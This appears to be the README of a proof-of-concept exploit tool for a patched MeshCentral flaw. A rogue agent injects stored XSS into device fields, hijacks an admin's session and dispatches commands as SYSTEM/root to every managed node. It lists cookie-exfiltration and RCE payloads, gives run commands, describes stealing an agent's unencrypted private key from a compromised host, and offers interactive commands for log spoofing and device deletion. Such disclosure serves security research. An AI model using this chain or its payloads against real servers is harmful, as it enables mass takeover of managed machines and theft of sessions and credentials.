## https://sploitus.com/exploit?id=C59EAF7F-FEBE-5CF2-A77B-B0BEFA18269C
# MeshCentral RogueAgent
A proof-of-concept exploit chain for a stored XSS vulnerability in MeshCentral that escalates to unauthenticated RCE across all managed agents.
> **Patched.** See the security advisory: [GHSA-c7hr-448w-65px](https://github.com/Ylianst/MeshCentral/security/advisories/GHSA-c7hr-448w-65px)
**Blog post:** [MeshCentral: From XSS to RCE โ TechAnarchy](https://techanarchy.net/meshcentral-from-xss-to-rce)
**Video demo:** [YouTube](https://www.youtube.com/watch?v=MT-h-_MXe5Y)
---
## Vulnerability Summary
MeshCentral accepts connections from agents via a WebSocket endpoint (`/agent.ashx`). The agent protocol allows any connected agent to submit a `coreinfo` JSON message containing fields such as `name` (device name) and `osdesc` (OS description). These fields were stored server-side and rendered unsanitised in the admin web UI.
An attacker who can reach the server (no account required โ only a valid `meshid` for any device group) can:
1. Connect a rogue agent carrying a crafted XSS payload in `coreinfo`.
2. Wait for an admin to open the device panel โ the payload executes in their browser session.
3. The `rce_chain` payload uses the admin's live session cookie to open a `control.ashx` WebSocket, enumerate every managed node, and dispatch `runcommands` to each one **as SYSTEM / root** โ without ever touching a credential.
---
## Attack Chain
```
Attacker (no account)
โ
โโ[1]โ Connect to /agent.ashx with a valid meshid or stolen agent identity
โ
โโ[2]โ Complete the MeshAgent binary protocol handshake (Cmd 1/2/3/4)
โ
โโ[3]โ Send coreinfo JSON with XSS payload in name / osdesc
โ Stored server-side, no sanitisation
โ
โโ[4]โ Admin opens the device panel
โ
โโ XSS fires in admin browser
โ
โโ[rce_chain] Open wss:///control.ashx
Enumerate all nodes (action: nodes)
Dispatch runcommands to each node as SYSTEM
```
---
## Tools
### `rogue_agent.py` โ Rogue Agent / XSS Injector
Connects to a MeshCentral server as a fake agent and injects crafted `coreinfo` fields.
**Two operating modes:**
| Mode | When to use |
|------|-------------|
| **New device** (`--meshid`) | You have a meshid for any device group (obtainable without credentials via the invite link) |
| **Impersonation** (`--identity`) | You have extracted credentials from an existing agent install |
**Available payloads (`--payload`):**
| Name | Effect |
|------|--------|
| `alert_simple` | `alert()` PoC via `img onerror` (default) |
| `img_onerror` | Cookie exfil via `img onerror` |
| `svg_onload` | Cookie exfil via SVG `onload` |
| `event_handler` | XSS in both `name` and `osdesc` via mouse events |
| `script_tag` | `` tag injection |
| `cookie_exfil` | Cookie exfil to a custom attacker host (edit payload before use) |
| `rce_chain` | **Full RCE:** XSS โ `control.ashx` WS โ enumerate all nodes โ `runcommands` as SYSTEM |
**Usage:**
```bash
# New device mode โ register a rogue agent in a known device group
uv run rogue_agent.py -s mesh.example.com -m -x alert_simple
# Impersonation mode โ connect as an existing agent using its stolen identity
uv run rogue_agent.py -s mesh.example.com --identity stolen_identity.json -x rce_chain
# Verbose output
uv run rogue_agent.py -s mesh.example.com -m -x rce_chain -v
```
**Getting the meshid:**
1. Log into the MeshCentral web UI and open or create a Device Group.
2. Click the group โ **Invite Agent** โ copy the meshaction link.
3. Base64-decode the `meshaction` value and extract the `meshid` hex string.
**Interactive commands** (available after the payload is injected):
```
help Show help
info Show current agent identity
xss Switch XSS payload live
rce_chain Inject RCE payload
delete Delete another device in the same group (mc1migration)
enum-users Enumerate users with access to this device group
spoof-log Write a spoofed log entry
help-request Trigger a help-request email to a user
steal-pmt Set push messaging token (evicts all other devices)
get-cookies Request signed download cookies via meshToolInfo
send-raw Send arbitrary JSON to the server
quit Disconnect
```
---
### `extract_agent_identity.py` โ Agent Identity Extractor
MeshAgent stores its private key **unencrypted** in a PKCS#12 blob inside `meshagent.db`. This tool parses the binary `SimpleDataStore` database and the `meshagent.msh` config file to produce a JSON identity bundle that `rogue_agent.py` can consume.
```bash
# On the compromised host โ archive the agent directory
tar czf /tmp/mesh-identity.tar.gz /usr/local/mesh/
# Extract the identity
uv run extract_agent_identity.py /path/to/mesh/ -o stolen_identity.json
# Use the stolen identity with the rogue agent
uv run rogue_agent.py -s mesh.example.com --identity stolen_identity.json -x rce_chain
```
The extracted JSON contains the private key PEM, certificate PEM, MeshID, server URL, and computed NodeID.
---
## Requirements
[uv](https://docs.astral.sh/uv/) is the recommended way to run this project โ no manual venv or pip needed.
```bash
# Install dependencies and create the venv
uv sync
# Run directly (uv manages the environment automatically)
uv run rogue_agent.py -s mesh.example.com -m -x alert_simple
uv run extract_agent_identity.py /usr/local/mesh/ -o stolen_identity.json
```
Requires Python 3.10+. Dependencies (`cryptography`, `websockets`) are pinned in `uv.lock`.
---
## Disclaimer
This tool is provided for **authorised security testing, research, and educational purposes only**. Only use it against systems you own or have explicit written permission to test. The authors accept no liability for misuse.
---
## Credits
Research and tooling by [@kevthehermit](https://github.com/kevthehermit) / [TechAnarchy](https://techanarchy.net).